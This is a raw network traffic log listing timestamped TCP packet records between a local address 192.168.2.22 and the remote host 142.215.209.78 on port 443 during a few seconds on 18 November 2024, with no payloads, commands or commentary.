Nov 18, 2024 18:22:20.793879032 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793879032 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793901920 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.794039011 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.819005966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.819020987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.819067955 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.857067108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.857135057 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.857145071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.910362005 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.910377979 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.910438061 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.910450935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.910995960 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911006927 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911031961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911051035 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.911057949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911099911 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.911678076 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911688089 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.911736012 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.911745071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.912781954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.912797928 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.912830114 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.912837982 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.912847996 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.938978910 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.939023972 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.939054012 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.939065933 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.939099073 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.977550983 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.977575064 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.977673054 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.977709055 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031037092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031054020 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031133890 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.031147957 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031358004 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031369925 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031393051 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031418085 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.031428099 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031485081 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.031805992 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031816006 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.031864882 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.031872034 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.032190084 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.032247066 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.032258987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.032305002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.032350063 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.059432983 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.059449911 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.059506893 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.059525013 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.097651958 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.097747087 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.097770929 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190563917 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190577984 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190639019 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.190660000 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190773010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190804005 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190834045 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190870047 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.190877914 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190920115 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.190973997 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.190982103 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.191003084 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.191018105 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.191037893 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.191827059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.191834927 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.191876888 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.191883087 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.192020893 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.192028999 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.192070007 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.192076921 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.217645884 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.217730999 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.217855930 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.217871904 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300673962 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300688982 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300744057 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.300774097 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300935030 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300946951 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300971985 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.300985098 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.300997019 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301021099 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.301333904 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301342964 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301358938 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301379919 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.301389933 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301435947 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.301665068 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301673889 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.301712990 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.301734924 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.302386999 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.302396059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.302436113 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.302445889 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.310790062 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.310826063 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.310844898 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.310853958 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.310910940 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.337888956 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.337905884 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.337984085 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.337996006 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421073914 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421152115 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.421163082 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421283007 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421292067 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421338081 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.421356916 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421401024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421410084 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.421448946 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.421662092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421669960 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.421716928 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.421730995 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422133923 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422178984 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422184944 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.422211885 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422266960 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.422688007 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422696114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.422740936 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.422749043 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.431096077 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.431162119 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.431170940 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.457990885 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.458070040 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.458086014 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.540787935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.540865898 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.540893078 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.540924072 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.540970087 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.541239977 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.541249990 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.541287899 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.541290045 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.541353941 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.541656971 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.541666031 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.541707039 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.541713953 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542026997 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542036057 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542073011 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.542082071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542486906 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542540073 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.542546988 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542555094 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.542587996 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.551135063 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.551143885 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.551197052 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.551206112 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.577991962 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.578066111 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.578074932 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.660893917 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.660974026 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.660985947 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661029100 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661050081 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661062002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661082029 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.661089897 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661097050 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661109924 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.661128998 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.661571980 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661582947 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661622047 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.661631107 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661916018 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661925077 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.661962986 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.661971092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.662352085 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.662400961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.662403107 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.662424088 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.662456036 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.663101912 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.663111925 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.663158894 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.663167000 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.671480894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.671554089 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.671567917 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.698448896 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.698527098 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.698542118 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781362057 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781407118 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781436920 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.781469107 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781513929 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.781553030 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781560898 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781584978 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781598091 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.781625986 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.781708002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781714916 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.781754971 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.781763077 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.782819986 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.782830000 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.782876968 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.782891989 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783062935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783092022 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783107042 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.783114910 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783157110 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.783503056 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783513069 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.783555984 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.783565044 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.792728901 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.792785883 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.792814016 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.818752050 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.818816900 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.818845034 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901024103 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901098013 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.901118994 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901143074 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901180983 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.901390076 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901400089 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901438951 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.901446104 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.901487112 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.902467012 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.902479887 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.902518034 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.902525902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903136015 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903143883 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903187037 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.903194904 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903350115 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903403044 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.903403044 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903430939 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903470039 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.903733969 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903743029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.903781891 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.903790951 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.912616968 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.912673950 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.912688017 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939304113 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939357042 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.939368010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939409018 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939448118 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:21.939471006 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939515114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:21.939554930 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.022012949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.022023916 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.022087097 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.022094965 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.022588968 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.022634029 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.022643089 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023000956 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023049116 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.023056030 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023348093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023396015 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.023402929 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023652077 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023699999 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.023713112 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023926020 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.023972034 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.023978949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.032879114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.032943010 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.032953978 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.059329987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.059410095 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.059425116 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.059602022 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.059653044 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.059662104 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204176903 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204237938 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204260111 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204351902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204360008 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204391956 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204412937 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204463959 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204497099 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204818010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204824924 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204869986 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204871893 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204894066 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204902887 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204916954 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204926014 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204935074 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.204942942 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.204961061 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.205353022 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205360889 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205394030 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.205744982 CET	443	49173	142.215.209.78	192.168.2.22
